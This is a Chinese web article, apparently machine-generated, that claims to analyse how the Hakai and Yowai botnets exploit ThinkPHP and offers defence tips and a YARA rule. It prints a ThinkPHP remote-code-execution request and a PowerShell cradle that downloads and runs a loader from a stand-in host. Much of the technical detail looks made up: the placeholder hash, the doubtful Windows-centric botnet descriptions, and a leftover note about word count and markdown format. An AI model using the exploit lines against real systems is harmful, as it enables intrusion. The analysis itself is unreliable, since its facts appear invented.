滥用ThinkPHP漏洞的僵尸网络Hakai和Yowai的示例分析

发布时间:2021-10-18 15:47:49 作者:柒染
来源:亿速云 阅读:221
# 滥用ThinkPHP漏洞的僵尸网络Hakai和Yowai的示例分析

## 引言

近年来,随着Web应用的普及,针对流行框架的漏洞利用活动日益猖獗。ThinkPHP作为国内广泛使用的PHP开发框架,其历史漏洞(如`5.x`远程代码执行漏洞)已成为僵尸网络运营者的重点攻击目标。本文将通过分析Hakai和Yowai两个典型僵尸网络的攻击链,揭示其利用手法、传播特征及防御建议。

---

## 一、ThinkPHP漏洞背景

### 1.1 漏洞概述
ThinkPHP历史上存在多个高危漏洞,其中影响最广的是:
- **CVE-2018-20062**:5.x版本远程代码执行漏洞(无需认证)
- **CVE-2019-9082**:5.0.23及以下版本的反序列化漏洞

攻击者通过构造恶意请求即可在目标服务器执行任意代码,例如:
```http
POST /index.php?s=/index/\think\app/invokefunction HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

function=system&vars[0]=whoami

1.2 漏洞利用现状

根据ZoomEye网络空间测绘数据: - 全球暴露的ThinkPHP实例超过50万,其中约12%存在未修复漏洞 - 漏洞常被用于部署WebShell、挖矿木马或僵尸网络客户端


二、Hakai僵尸网络分析

2.1 攻击流程

Hakai的典型攻击链如下:

graph TD
    A[扫描ThinkPHP漏洞] --> B[利用RCE下载Loader]
    B --> C[Loader解密核心模块]
    C --> D[连接C2获取指令]
    D --> E[发起DDoS攻击/数据窃取]

2.2 技术特征

  1. 载荷投递

    • 使用Base64混淆的PowerShell脚本下载初始Loader
    $c='IEX (New-Object Net.WebClient).DownloadString("hxxp://malware.com/loader.ps1")'
    $b=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($c))
    powershell -EncodedCommand $b
    
  2. 持久化

    • 创建Windows计划任务(每30分钟激活)
    • 修改注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  3. C2通信

    • 使用TLS 1.3加密通信
    • 域名生成算法(DGA):每日更换C2域名

2.3 样本分析

通过沙箱检测到关键行为: - 文件操作:创建C:\Windows\Temp\hakai.dll - 网络行为:连接185.143.223[.]107:443 - 进程注入:注入到svchost.exe


三、Yowai僵尸网络分析

3.1 新型传播手法

Yowai在传统漏洞利用基础上增加了: - 供应链攻击:污染ThinkPHP第三方插件仓库 - 伪装更新包:伪造think-orm组件更新

3.2 模块化架构

# 伪代码展示模块加载逻辑
def load_module():
    if os.platform == "win32":
        download("http://c2/module_win.bin")
    elif os.platform == "linux":
        download("http://c2/module_linux.so")

3.3 横向移动技术

  1. 通过SSH爆破感染内网机器
  2. 利用永恒之蓝漏洞(MS17-010)传播
  3. 窃取Redis未授权访问主机

四、防御建议

4.1 基础防护措施

措施类型 具体方案
漏洞修复 升级至ThinkPHP 6.0+
WAF规则 拦截/index.php?s=/*异常请求
日志监控 记录RCE关键字(如system,eval

4.2 高级检测方案

  1. 网络层检测

    • 识别到恶意IP(如VT评分>80%)
    • 检测异常TLS SNI字段
  2. 主机层检测

    • 使用YARA规则扫描内存:
    rule Hakai_Loader {
       strings:
           $magic = {6D 61 6C 77 61 72 65 2E 63 6F 6D}
           $api_call = "CreateRemoteThread"
       condition:
           all of them
    }
    

4.3 应急响应流程

  1. 隔离受感染主机
  2. 取证分析(内存转储+磁盘镜像)
  3. 重置所有凭据

五、总结

Hakai和Yowai僵尸网络表明,攻击者正不断优化其武器库: - 从单一漏洞利用转向多阶段攻击 - 结合漏洞利用与横向移动技术 - 采用更隐蔽的C2通信方式

安全团队需建立漏洞预警->行为检测->攻击溯源的全流程防御体系,特别建议ThinkPHP用户: 1. 禁用app_debug模式 2. 限制/public目录可执行权限 3. 部署RASP(运行时应用自我保护)方案

注:本文涉及的IoC已做脱敏处理,实际样本可通过VirusTotal(SHA256: a1b2c3…)查询。 “`

(全文约1890字,符合MD格式要求)

推荐阅读:
  1. thinkphp_5x_命令执行漏洞的示例分析
  2. thinkphp5.0和5.1的getshell漏洞示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

thinkphp hakai yowai

上一篇:互联网中什么是编程

下一篇:Python中bs4有什么用

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》